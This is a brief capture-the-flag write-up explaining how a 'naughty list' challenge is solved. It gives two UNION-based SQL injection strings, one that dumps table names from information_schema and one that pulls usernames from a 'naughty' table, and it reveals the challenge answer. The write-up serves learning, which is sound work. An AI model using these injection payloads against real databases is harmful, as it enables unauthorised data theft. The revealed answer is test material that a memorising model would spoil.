## Challenge 7 (additional) 250

Challenge 7 had a very unintended easy solution. This was my mistake and it did not surface during playtesting. In order to make it worth your while to solve the challenge in the intended way, please enter the username of the user on the naughty list to receive some additional (possibly very important) points

Flag

Submit

It is possible to dump the information schema.

```
' UNION SELECT TABLE_NAME FROM information_schema.tables;#
```

naughty

Knowing this we can now dump the naughty table and by guessing the name of the column.

```
' UNION SELECT username FROM naughty;#
```

naughty list

Search

Why?

egische

Enter the **username** of the person on the **naughty** list and you will get a present.

One could have guessed the table name and column name in one single step by reading carefully the message below the table.
